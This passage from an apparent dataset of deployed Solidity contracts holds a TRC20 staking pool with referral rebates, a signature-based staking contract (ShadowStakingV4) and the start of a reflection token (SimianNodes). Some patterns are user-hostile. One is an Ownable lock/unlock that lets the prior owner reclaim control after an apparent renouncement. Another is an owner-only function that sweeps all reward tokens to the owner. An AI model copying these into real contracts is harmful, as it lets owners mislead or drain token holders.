_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(TRC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(TRC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(TRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(TRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(TRC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for TRC20;
uint public decimalVal = 1e6;
TRC20 public lpt;
PlayerManager public player;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount, address lastAddress) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
lpt.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
lpt.safeTransfer(msg.sender, amount);
}
}
contract UsdtTokenPool is Ownable,LPTokenWrapper
{
TRC20 public token;
uint256 public DURATION = 500 days;
uint256 public initreward;
uint256 public starttime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
address public trxUsdtlp;
address public dsTrxLp;
TRC20 public usdt;
TRC20 public trxContract;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
uint public UsdtLimit = 600 * decimalVal;
address public dsTrxLpPool;
constructor(address token_,
address lptoken_,
address trxUsdtlp_,
address dsTrxLp_,
address usdt_,
address trx_,
uint256 starttime_,
address plays_) public {
token = TRC20(token_);
lpt = TRC20(lptoken_);
trxUsdtlp = trxUsdtlp_;
dsTrxLp = dsTrxLp_;
usdt = TRC20(usdt_);
trxContract = TRC20(trx_);
starttime = starttime_;
player = PlayerManager(plays_);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function trxPrice() public view returns(uint){
uint trxBalance = trxContract.balanceOf(trxUsdtlp);
if(trxBalance <= 0){
return 0;
}
uint usdtBalance = usdt.balanceOf(trxUsdtlp);
uint trxPrices = usdtBalance.mul(decimalVal).div(trxBalance);
return trxPrices;
}
//dslp
function dsLpPrice(address addr) public view returns(uint){
uint dsTrxLpTotal = TRC20(dsTrxLp).totalSupply();
if(dsTrxLpTotal==0){
return 0;
}
uint trxBalance = trxContract.balanceOf(dsTrxLp);
uint tokenPrice = trxBalance.mul(trxPrice()).mul(2).div(dsTrxLpTotal);
uint dslpNum = super.balanceOf(addr);// uint dslpNum = TRC20(dsTrxLp).balanceOf(addr);
uint dsLpPrices = dslpNum.mul(tokenPrice);
return dsLpPrices;
}
function setDuration(uint256 _duration) public onlyOwner{
DURATION = _duration;
}
function setUsdtLimit(uint256 _usdtLimit) public onlyOwner{
UsdtLimit = _usdtLimit;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(decimalVal)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(decimalVal)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount ,address lastAddress)public override updateReward(msg.sender) checkStart
{
require(amount > 0, 'Cannot stake 0');
super.stake(amount,lastAddress);
emit Staked(msg.sender, amount);
player.register(msg.sender,lastAddress);
}
function withdraw(uint256 amount)public override updateReward(msg.sender) checkStart
{
require(amount > 0, 'Cannot withdraw 0');
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward>0) {
address lastUser = player.userInfo(msg.sender);
uint usdtNum = dsLpPrice(lastUser);
if(usdtNum >0 && usdtNum>=UsdtLimit){
player.rebateReward(msg.sender,lastUser,reward);
}
rewards[msg.sender] = 0;
token.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier checkStart() {
require(block.timestamp >= starttime, 'not start');
_;
}
function notifyRewardAmount(uint256 reward)external onlyOwner updateReward(address(0))
{
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
} else {
initreward = reward;
rewardRate = initreward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(reward);
}
}
}
interface PlayerManager{
function register(address user,address lastUser) external returns(bool);
function rebateReward(address addrs, address addrlast,uint num) external returns(bool);
function userInfo(address addr) external view returns(address);
}
| 303,781 | 13,244 |
dcc4997182f3e6d07385d037a66f41c3cb6e2ea4a9b0eda0b7caa544a19a8e03
| 29,951 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7f/7F8890b1E3008e3BAE210756C664A38a61188aE4_ShadowStakingV4.sol
| 4,753 | 17,717 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IToken {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address _to) external returns (uint256);
}
contract MultiplierMath {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function getInterval(uint256 a, uint256 b) internal pure returns(uint256) {
return a > b ? a - b : 0;
}
}
contract ShadowStakingV4 is Ownable, MultiplierMath {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using ECDSA for bytes32;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 lastBlock;
}
struct PoolInfo {
IERC20 lpToken;
uint256 allocPointAmount;
uint256 blockCreation;
}
IToken public rToken;
address[] internal users;
uint256[5] internal multipliers;
mapping (uint256 => mapping(address => UserInfo)) private userInfo;
mapping (address => UserInfo) private userRewardInfo;
mapping (address => bool) public trustedSigner;
// mapping (address => uint256) public newUsersId;
PoolInfo[] private poolInfo;
uint256 private totalPoints;
event Harvest(address sender, uint256 amount, uint256 blockNumber);
event AddNewPool(address token, uint256 pid);
event PoolUpdate(uint256 poolPid, uint256 previusPoints, uint256 newPoints);
event AddNewKey(bytes keyHash, uint256 id);
event EmergencyRefund(address sender, uint256 amount);
event Withdraw(uint256 _pid, address indexed user, uint256 amount);
event Deposit(uint256 _pid, address indexed user, uint256 amount);
constructor(IToken _rToken) public {
rToken = _rToken;
}
function addNewPool(IERC20 _lpToken, uint256 _newPoints) public onlyOwner {
totalPoints = totalPoints.add(_newPoints);
poolInfo.push(PoolInfo({lpToken: _lpToken, allocPointAmount: _newPoints, blockCreation:block.number}));
emit AddNewPool(address(_lpToken), _newPoints);
}
function setPoll(uint256 _poolPid, uint256 _newPoints) public onlyOwner {
totalPoints = totalPoints.sub(poolInfo[_poolPid].allocPointAmount).add(_newPoints);
poolInfo[_poolPid].allocPointAmount = _newPoints;
}
function setTrustedSigner(address _signer, bool _isValid) public onlyOwner {
trustedSigner[_signer] = _isValid;
}
function getPool(uint256 _poolPid) public view returns(address _lpToken, uint256 _block, uint256 _weight) {
_lpToken = address(poolInfo[_poolPid].lpToken);
_block = poolInfo[_poolPid].blockCreation;
_weight = poolInfo[_poolPid].allocPointAmount;
}
function getPoolsCount() public view returns(uint256) {
return poolInfo.length;
}
function deposit(uint256 _pid, uint256 _amount) external {
require(_amount > 0, "Amount must be higher than zero");
_registration(msg.sender, block.number);
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
user.amount = user.amount.add(_amount);
IERC20 token = IERC20(pool.lpToken);
token.safeTransferFrom(address(msg.sender), address(this), _amount);
emit Deposit(_pid, msg.sender, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) external {
UserInfo storage user = userInfo[_pid][msg.sender];
PoolInfo memory pool = poolInfo[_pid];
require(_amount > 0, "Amount must be higher than zero");
require(user.amount>= _amount, "Amount to withdraw too high");
user.amount = user.amount.sub(_amount);
IERC20 token = IERC20(pool.lpToken);
token.transfer(address(msg.sender), _amount);
emit Withdraw(_pid, msg.sender, _amount);
}
function getRewards(address _user) public view returns(uint256) {
return userRewardInfo[_user].rewardDebt;
}
function getBalance(uint256 _pid, address _user) public view returns(uint256) {
return userInfo[_pid][_user].amount;
}
function getLastBlock(address _user) public view returns(uint256) {
return userRewardInfo[_user].lastBlock;
}
function getTotalPoints() public view returns(uint256) {
return totalPoints;
}
function getData(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, address _sender) public pure returns(bytes32) {
return sha256(abi.encode(_amount, _lastBlockNumber, _currentBlockNumber, _sender));
}
///////////////////////////////////////////////////////////////////////////////////////
///// Refactored items
/////////////////////////////////////////////////////////////////////////////////////
function getMsgForSign(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, address _sender) public pure returns(bytes32) {
return keccak256(abi.encode(_amount, _lastBlockNumber, _currentBlockNumber, _sender));
}
function preSignMsg(bytes32 _msg) public pure returns(bytes32) {
return _msg.toEthSignedMessageHash();
}
function harvest(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, bytes32 _msgForSign, bytes memory _signature) public {
require(_currentBlockNumber <= block.number, "currentBlockNumber cannot be larger than the last block");
//Double spend check
require(getLastBlock(msg.sender) == _lastBlockNumber, "lastBlockNumber must be equal to the value in the storage");
//1. Lets check signer
address signedBy = _msgForSign.recover(_signature);
require(trustedSigner[signedBy] == true, "Signature check failed!");
//2. Check signed msg integrety
bytes32 actualMsg = getMsgForSign(_amount,
_lastBlockNumber,
_currentBlockNumber,
msg.sender);
require(actualMsg.toEthSignedMessageHash() == _msgForSign,"Integrety check failed!");
//Actions
userRewardInfo[msg.sender].rewardDebt = userRewardInfo[msg.sender].rewardDebt.add(_amount);
userRewardInfo[msg.sender].lastBlock = _currentBlockNumber;
if (_amount > 0) {
rToken.transfer(msg.sender, _amount);
}
emit Harvest(msg.sender, _amount, _currentBlockNumber);
}
function emergencyRefund(uint256 _pid) public onlyOwner {
emit EmergencyRefund(msg.sender, rToken.balanceOf(address(this)));
rToken.transfer(owner(), rToken.balanceOf(address(this)));
}
function setMultiplier(uint256 _id, uint256 _amount) public onlyOwner {
multipliers[_id] = _amount;
}
function _registration(address _user, uint256 _lastBlock) internal {
if (getLastBlock(_user) == 0){
users.push(_user);
}
UserInfo storage _userInfo = userRewardInfo[_user];
_userInfo.lastBlock = _lastBlock;
}
function getMultiplier(uint256 _id) public view returns(uint256) {
return multipliers[_id];
}
function getCurrentMultiplier() public view returns(uint256) {
return multipliers[0];
}
function getUsersCount() public view returns(uint256) {
return users.length;
}
function getUser(uint256 _userId) public view returns(address) {
return users[_userId];
}
}
| 77,928 | 13,245 |
43d15d6b006e207b05029dc7d9e4dfb4b71d4798624b272e33a76b405c25953e
| 30,345 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1d/1dc473fcf830b2315d0350b355d13b6011b3a4c3_SimianNodes.sol
| 5,429 | 19,524 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract SimianNodes is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 21 * 10**6 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Simian Nodes';
string private _symbol = 'SIMIAN';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 21 * 10**7 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
